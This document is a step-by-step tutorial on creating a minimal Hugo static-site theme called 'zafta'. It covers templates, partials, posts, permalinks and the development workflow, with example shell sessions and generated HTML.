    -
    -$ find themes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff  1081 Sep 29 17:31 themes/zafta/LICENSE.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    --rw-r--r--  1 quoha  staff    93 Sep 29 17:31 themes/zafta/theme.toml
    -$
    -
    - -

    The skeleton includes templates (the files ending in .html), license file, a description of your theme (the theme.toml file), and an empty archetype.

    - -

    Please take a minute to fill out the theme.toml and LICENSE.md files. They’re optional, but if you’re going to be distributing your theme, it tells the world who to praise (or blame). It’s also nice to declare the license so that people will know how they can use the theme.

    - -
    $ vi themes/zafta/theme.toml
    -author = "michael d henderson"
    -description = "a minimal working template"
    -license = "MIT"
    -name = "zafta"
    -source_repo = ""
    -tags = ["tags", "categories"]
    -:wq
    -
    -## also edit themes/zafta/LICENSE.md and change
    -## the bit that says "YOUR_NAME_HERE"
    -
    - -

    Note that the the skeleton’s template files are empty. Don’t worry, we’ll be changing that shortly.

    - -
    $ find themes/zafta -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    -$
    -
    - -

    Update the Configuration File to Use the Theme

    - -

    Now that we’ve got a theme to work with, it’s a good idea to add the theme name to the configuration file. This is optional, because you can always add “-t zafta” on all your commands. I like to put it the configuration file because I like shorter command lines. If you don’t put it in the configuration file or specify it on the command line, you won’t use the template that you’re expecting to.

    - -

    Edit the file to add the theme, add a title for the site, and specify that all of our content will use the TOML format.

    - -
    $ vi config.toml
    -theme = "zafta"
    -baseurl = ""
    -languageCode = "en-us"
    -title = "zafta - totally refreshing"
    -MetaDataFormat = "toml"
    -:wq
    -
    -$
    -
    - -

    Generate the Site

    - -

    Now that we have an empty theme, let’s generate the site again.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    Did you notice that the output is different? The warning message for the home page has disappeared and we have an additional information line saying that Hugo is syncing from the theme’s directory.

    - -

    Let’s check the public/ directory to see what Hugo’s created.

    - -
    $ ls -l public
    -total 16
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 css
    --rw-r--r--  1 quoha  staff    0 Sep 29 17:56 index.html
    --rw-r--r--  1 quoha  staff  407 Sep 29 17:56 index.xml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 js
    --rw-r--r--  1 quoha  staff  243 Sep 29 17:56 sitemap.xml
    -$
    -
    - -

    Notice four things:

    - -
      -
    1. Hugo created a home page. This is the file public/index.html.
    2. -
    3. Hugo created a css/ directory.
    4. -
    5. Hugo created a js/ directory.
    6. -
    7. Hugo claimed that it created 0 pages. It created a file and copied over static files, but didn’t create any pages. That’s because it considers a “page” to be a file created directly from a content file. It doesn’t count things like the index.html files that it creates automatically.
    8. -
    - -

    The Home Page

    - -

    Hugo supports many different types of templates. The home page is special because it gets its own type of template and its own template file. The file, layouts/index.html, is used to generate the HTML for the home page. The Hugo documentation says that this is the only required template, but that depends. Hugo’s warning message shows that it looks for three different templates:

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -
    - -

    If it can’t find any of these, it completely skips creating the home page. We noticed that when we built the site without having a theme installed.

    - -

    When Hugo created our theme, it created an empty home page template. Now, when we build the site, Hugo finds the template and uses it to generate the HTML for the home page. Since the template file is empty, the HTML file is empty, too. If the template had any rules in it, then Hugo would have used them to generate the home page.

    - -
    $ find . -name index.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 20:21 ./public/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 ./themes/zafta/layouts/index.html
    -$
    -
    - -

    The Magic of Static

    - -

    Hugo does two things when generating the site. It uses templates to transform content into HTML and it copies static files into the site. Unlike content, static files are not transformed. They are copied exactly as they are.

    - -

    Hugo assumes that your site will use both CSS and JavaScript, so it creates directories in your theme to hold them. Remember opinions? Well, Hugo’s opinion is that you’ll store your CSS in a directory named css/ and your JavaScript in a directory named js/. If you don’t like that, you can change the directory names in your theme directory or even delete them completely. Hugo’s nice enough to offer its opinion, then behave nicely if you disagree.

    - -
    $ find themes/zafta -type d | xargs ls -ld
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 17:38 themes/zafta
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes/zafta/archetypes
    -drwxr-xr-x  5 quoha  staff  170 Sep 29 17:31 themes/zafta/layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/_default
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/partials
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/static
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/css
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/js
    -$
    -
    - -

    The Theme Development Cycle

    - -

    When you’re working on a theme, you will make changes in the theme’s directory, rebuild the site, and check your changes in the browser. Hugo makes this very easy:

    - -
      -
    1. Purge the public/ directory.
    2. -
    3. Run the built in web server in watch mode.
    4. -
    5. Open your site in a browser.
    6. -
    7. Update the theme.
    8. -
    9. Glance at your browser window to see changes.
    10. -
    11. Return to step 4.
    12. -
    - -

    I’ll throw in one more opinion: never work on a theme on a live site. Always work on a copy of your site. Make changes to your theme, test them, then copy them up to your site. For added safety, use a tool like Git to keep a revision history of your content and your theme. Believe me when I say that it is too easy to lose both your mind and your changes.

    - -

    Check the main Hugo site for information on using Git with Hugo.

    - -

    Purge the public/ Directory

    - -

    When generating the site, Hugo will create new files and update existing ones in the public/ directory. It will not delete files that are no longer used. For example, files that were created in the wrong directory or with the wrong title will remain. If you leave them, you might get confused by them later. I recommend cleaning out your site prior to generating it.

    - -

    Note: If you’re building on an SSD, you should ignore this. Churning on a SSD can be costly.

    - -

    Hugo’s Watch Option

    - -

    Hugo’s “--watch” option will monitor the content/ and your theme directories for changes and rebuild the site automatically.

    - -

    Live Reload

    - -

    Hugo’s built in web server supports live reload. As pages are saved on the server, the browser is told to refresh the page. Usually, this happens faster than you can say, “Wow, that’s totally amazing.”

    - -

    Development Commands

    - -

    Use the following commands as the basis for your workflow.

    - -
    ## purge old files. hugo will recreate the public directory.
    -##
    -$ rm -rf public
    -##
    -## run hugo in watch mode
    -##
    -$ hugo server --watch --verbose
    -
    - -

    Here’s sample output showing Hugo detecting a change to the template for the home page. Once generated, the web browser automatically reloaded the page. I’ve said this before, it’s amazing.

    - -
    $ rm -rf public
    -$ hugo server --watch --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Watching for changes in /Users/quoha/Sites/zafta/content
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -INFO: 2014/09/29 File System Event: ["/Users/quoha/Sites/zafta/themes/zafta/layouts/index.html": MODIFY|ATTRIB]
    -Change detected, rebuilding site
    -
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 1 ms
    -
    - -

    Update the Home Page Template

    - -

    The home page is one of a few special pages that Hugo creates automatically. As mentioned earlier, it looks for one of three files in the theme’s layout/ directory:

    - -
      -
    1. index.html
    2. -
    3. _default/list.html
    4. -
    5. _default/single.html
    6. -
    - -

    We could update one of the default templates, but a good design decision is to update the most specific template available. That’s not a hard and fast rule (in fact, we’ll break it a few times in this tutorial), but it is a good generalization.

    - -

    Make a Static Home Page

    - -

    Right now, that page is empty because we don’t have any content and we don’t have any logic in the template. Let’s change that by adding some text to the template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 21:26 public/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</html>
    -
    - -

    Live Reload

    - -

    Note: If you’re running the server with the --watch option, you’ll see different content in the file:

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -    + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    When you use --watch, the Live Reload script is added by Hugo. Look for live reload in the documentation to see what it does and how to disable it.

    - -

    Build a “Dynamic” Home Page

    - -

    “Dynamic home page?” Hugo’s a static web site generator, so this seems an odd thing to say. I mean let’s have the home page automatically reflect the content in the site every time Hugo builds it. We’ll use iteration in the template to do that.

    - -

    Create New Posts

    - -

    Now that we have the home page generating static content, let’s add some content to the site. We’ll display these posts as a list on the home page and on their own page, too.

    - -

    Hugo has a command to generate a skeleton post, just like it does for sites and themes.

    - -
    $ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/default.md
    -ERROR: 2014/09/29 Unable to Cast <nil> to map[string]interface{}
    -
    -$
    -
    - -

    That wasn’t very nice, was it?

    - -

    The “new” command uses an archetype to create the post file. Hugo created an empty default archetype file, but that causes an error when there’s a theme. For me, the workaround was to create an archetypes file specifically for the post type.

    - -
    $ vi themes/zafta/archetypes/post.md
    -+++
    -Description = ""
    -Tags = []
    -Categories = []
    -+++
    -:wq
    -
    -$ find themes/zafta/archetypes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff   0 Sep 29 21:53 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff  51 Sep 29 21:54 themes/zafta/archetypes/post.md
    -
    -$ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/first.md
    -/Users/quoha/Sites/zafta/content/post/first.md created
    -
    -$ hugo --verbose new post/second.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/second.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/second.md
    -/Users/quoha/Sites/zafta/content/post/second.md created
    -
    -$ ls -l content/post
    -total 16
    --rw-r--r--  1 quoha  staff  104 Sep 29 21:54 first.md
    --rw-r--r--  1 quoha  staff  105 Sep 29 21:57 second.md
    -
    -$ cat content/post/first.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:54:53-05:00"
    -title = "first"
    -
    -+++
    -my first post
    -
    -$ cat content/post/second.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:57:09-05:00"
    -title = "second"
    -
    -+++
    -my second post
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"category":"categories", "tag":"tags"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$
    -
    - -

    The output says that it created 2 pages. Those are our new posts:

    - -
    $ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 22:13 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/second/index.html
    -$
    -
    - -

    The new files are empty because because the templates used to generate the content are empty. The homepage doesn’t show the new content, either. We have to update the templates to add the posts.

    - -

    List and Single Templates

    - -

    In Hugo, we have three major kinds of templates. There’s the home page template that we updated previously. It is used only by the home page. We also have “single” templates which are used to generate output for a single content file. We also have “list” templates that are used to group multiple pieces of content before generating output.

    - -

    Generally speaking, list templates are named “list.html” and single templates are named “single.html.”

    - -

    There are three other types of templates: partials, content views, and terms. We will not go into much detail on these.

    - -

    Add Content to the Homepage

    - -

    The home page will contain a list of posts. Let’s update its template to add the posts that we just created. The logic in the template will run every time we build the site.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1>{{ .Title }}</h1>
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Hugo uses the Go template engine. That engine scans the template files for commands which are enclosed between “{{” and “}}”. In our template, the commands are:

    - -
      -
    1. range
    2. -
    3. .Title
    4. -
    5. end
    6. -
    - -

    The “range” command is an iterator. We’re going to use it to go through the first ten pages. Every HTML file that Hugo creates is treated as a page, so looping through the list of pages will look at every file that will be created.

    - -

    The “.Title” command prints the value of the “title” variable. Hugo pulls it from the front matter in the Markdown file.

    - -

    The “end” command signals the end of the range iterator. The engine loops back to the top of the iteration when it finds “end.” Everything between the “range” and “end” is evaluated every time the engine goes through the iteration. In this file, that would cause the title from the first ten pages to be output as heading level one.

    - -

    It’s helpful to remember that some variables, like .Data, are created before any output files. Hugo loads every content file into the variable and then gives the template a chance to process before creating the HTML files.

    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  94 Sep 29 22:23 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/second/index.html
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1>second</h1>
    -
    -    <h1>first</h1>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Congratulations, the home page shows the title of the two posts. The posts themselves are still empty, but let’s take a moment to appreciate what we’ve done. Your template now generates output dynamically. Believe it or not, by inserting the range command inside of those curly braces, you’ve learned everything you need to know to build a theme. All that’s really left is understanding which template will be used to generate each content file and becoming familiar with the commands for the template engine.

    - -

    And, if that were entirely true, this tutorial would be much shorter. There are a few things to know that will make creating a new template much easier. Don’t worry, though, that’s all to come.

    - -

    Add Content to the Posts

    - -

    We’re working with posts, which are in the content/post/ directory. That means that their section is “post” (and if we don’t do something weird, their type is also “post”).

    - -

    Hugo uses the section and type to find the template file for every piece of content. Hugo will first look for a template file that matches the section or type name. If it can’t find one, then it will look in the _default/ directory. There are some twists that we’ll cover when we get to categories and tags, but for now we can assume that Hugo will try post/single.html, then _default/single.html.

    - -

    Now that we know the search rule, let’s see what we actually have available:

    - -
    $ find themes/zafta -name single.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  132 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    -
    - -

    We could create a new template, post/single.html, or change the default. Since we don’t know of any other content types, let’s start with updating the default.

    - -

    Remember, any content that we haven’t created a template for will end up using this template. That can be good or bad. Bad because I know that we’re going to be adding different types of content and we’re going to end up undoing some of the changes we’ve made. It’s good because we’ll be able to see immediate results. It’s also good to start here because we can start to build the basic layout for the site. As we add more content types, we’ll refactor this file and move logic around. Hugo makes that fairly painless, so we’ll accept the cost and proceed.

    - -

    Please see the Hugo documentation on template rendering for all the details on determining which template to use. And, as the docs mention, if you’re building a single page application (SPA) web site, you can delete all of the other templates and work with just the default single page. That’s a refreshing amount of joy right there.

    - -

    Update the Template File

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>{{ .Title }}</title>
    -</head>
    -<body>
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff   94 Sep 29 22:40 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:40 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:40 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:40 public/post/second/index.html
    -
    -$ cat public/post/first/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>first</title>
    -</head>
    -<body>
    -  <h1>first</h1>
    -  <p>my first post</p>
    -
    -</body>
    -</html>
    -
    -$ cat public/post/second/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>second</title>
    -</head>
    -<body>
    -  <h1>second</h1>
    -  <p>my second post</p>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Notice that the posts now have content. You can go to localhost:1313/post/first to verify.

    - -

    Linking to Content

    - -

    The posts are on the home page. Let’s add a link from there to the post. Since this is the home page, we’ll update its template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1><a href="{{ .Permalink }}">{{ .Title }}</a></h1>
    -  {{ end }}
    -</body>
    -</html>
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  149 Sep 29 22:44 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:44 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:44 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:44 public/post/second/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1><a href="/post/second/">second</a></h1>
    -
    -    <h1><a href="/post/first/">first</a></h1>
    -
    -</body>
    -</html>
    -
    -$
    -
    - -

    Create a Post Listing

    - -

    We have the posts displaying on the home page and on their own page. We also have a file public/post/index.html that is empty. Let’s make it show a list of all posts (not just the first ten).

    - -

    We need to decide which template to update. This will be a listing, so it should be a list template. Let’s take a quick look and see which list templates are available.

    - -
    $ find themes/zafta -name list.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    -
    - -

    As with the single post, we have to decide to update _default/list.html or create post/list.html. We still don’t have multiple content types, so let’s stay consistent and update the default list template.

    - -

    Creating Top Level Pages

    - -

    Let’s add an “about” page and display it at the top level (as opposed to a sub-level like we did with posts).

    - -

    The default in Hugo is to use the directory structure of the content/ directory to guide the location of the generated html in the public/ directory. Let’s verify that by creating an “about” page at the top level:

    - -
    $ vi content/about.md
    -+++
    -title = "about"
    -description = "about this site"
    -date = "2014-09-27"
    -slug = "about time"
    -+++
    -
    -## about us
    -
    -i'm speechless
    -:wq
    -
    - -

    Generate the web site and verify the results.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff   334 Sep 27 15:08 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff   527 Sep 27 15:08 public/index.html
    --rw-rw-r--  1 mdhender  staff   358 Sep 27 15:08 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff     0 Sep 27 15:08 public/post/index.html
    --rw-rw-r--  1 mdhender  staff   342 Sep 27 15:08 public/post/second-post/index.html
    -
    - -

    Notice that the page wasn’t created at the top level. It was created in a sub-directory named ‘about-time/’. That name came from our slug. Hugo will use the slug to name the generated content. It’s a reasonable default, by the way, but we can learn a few things by fighting it for this file.

    - -

    One other thing. Take a look at the home page.

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -    <h1><a href="http://localhost:1313/post/theme/">creating a new theme</a></h1>
    -    <h1><a href="http://localhost:1313/about-time/">about</a></h1>
    -    <h1><a href="http://localhost:1313/post/second-post/">second</a></h1>
    -    <h1><a href="http://localhost:1313/post/first-post/">first</a></h1>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -        + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    Notice that the “about” link is listed with the posts? That’s not desirable, so let’s change that first.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if eq .Type "page" }}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    - -

    Generate the web site and verify the results. The home page has two sections, posts and pages, and each section has the right set of headings and links in it.

    - -

    But, that about page still renders to about-time/index.html.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff    334 Sep 27 15:33 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff    645 Sep 27 15:33 public/index.html
    --rw-rw-r--  1 mdhender  staff    358 Sep 27 15:33 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff      0 Sep 27 15:33 public/post/index.html
    --rw-rw-r--  1 mdhender  staff    342 Sep 27 15:33 public/post/second-post/index.html
    -
    - -

    Knowing that hugo is using the slug to generate the file name, the simplest solution is to change the slug. Let’s do it the hard way and change the permalink in the configuration file.

    - -
    $ vi config.toml
    -[permalinks]
    -    page = "/:title/"
    -    about = "/:filename/"
    -
    - -

    Generate the web site and verify that this didn’t work. Hugo lets “slug” or “URL” override the permalinks setting in the configuration file. Go ahead and comment out the slug in content/about.md, then generate the web site to get it to be created in the right place.

    - -

    Sharing Templates

    - -

    If you’ve been following along, you probably noticed that posts have titles in the browser and the home page doesn’t. That’s because we didn’t put the title in the home page’s template (layouts/index.html). That’s an easy thing to do, but let’s look at a different option.

    - -

    We can put the common bits into a shared template that’s stored in the themes/zafta/layouts/partials/ directory.

    - - - -

    In Hugo, a partial is a sugar-coated template. Normally a template reference has a path specified. Partials are different. Hugo searches for them along a TODO defined search path. This makes it easier for end-users to override the theme’s presentation.

    - -
    $ vi themes/zafta/layouts/partials/header.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -    <title>{{ .Title }}</title>
    -</head>
    -<body>
    -:wq
    -
    -$ vi themes/zafta/layouts/partials/footer.html
    -</body>
    -</html>
    -:wq
    -
    - -

    Update the Home Page Template to Use the Partials

    - -

    The most noticeable difference between a template call and a partials call is the lack of path:

    - -
    {{ template "theme/partials/header.html" . }}
    -
    - -

    versus

    - -
    {{ partial "header.html" . }}
    -
    - -

    Both pass in the context.

    - -

    Let’s change the home page template to use these new partials.

    - -
    $ vi themes/zafta/layouts/index.html
    -{{ partial "header.html" . }}
    -
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if or (eq .Type "page") (eq .Type "about") }}
    -      <h2><a href="{{ .Permalink }}">{{ .Type }} - {{ .Title }} - {{ .RelPermalink }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the home page is now “your title here”, which comes from the “title” variable in the config.toml file.

    - -

    Update the Default Single Template to Use the Partials

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the posts and the about page should both reflect the value in the markdown file.

    - -

    Add “Date Published” to Posts

    - -

    It’s common to have posts display the date that they were written or published, so let’s add that. The front matter of our posts has a variable named “date.” It’s usually the date the content was created, but let’s pretend that’s the value we want to display.

    - -

    Add “Date Published” to the Template

    - -

    We’ll start by updating the template used to render the posts. The template code will look like:

    - -
    {{ .Date.Format "Mon, Jan 2, 2006" }}
    -
    - -

    Posts use the default single template, so we’ll change that file.

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The posts now have the date displayed in them. There’s a problem, though. The “about” page also has the date displayed.

    - -

    As usual, there are a couple of ways to make the date display only on posts. We could do an “if” statement like we did on the home page. Another way would be to create a separate template for posts.

    - -

    The “if” solution works for sites that have just a couple of content types. It aligns with the principle of “code for today,” too.

    - -

    Let’s assume, though, that we’ve made our site so complex that we feel we have to create a new template type. In Hugo-speak, we’re going to create a section template.

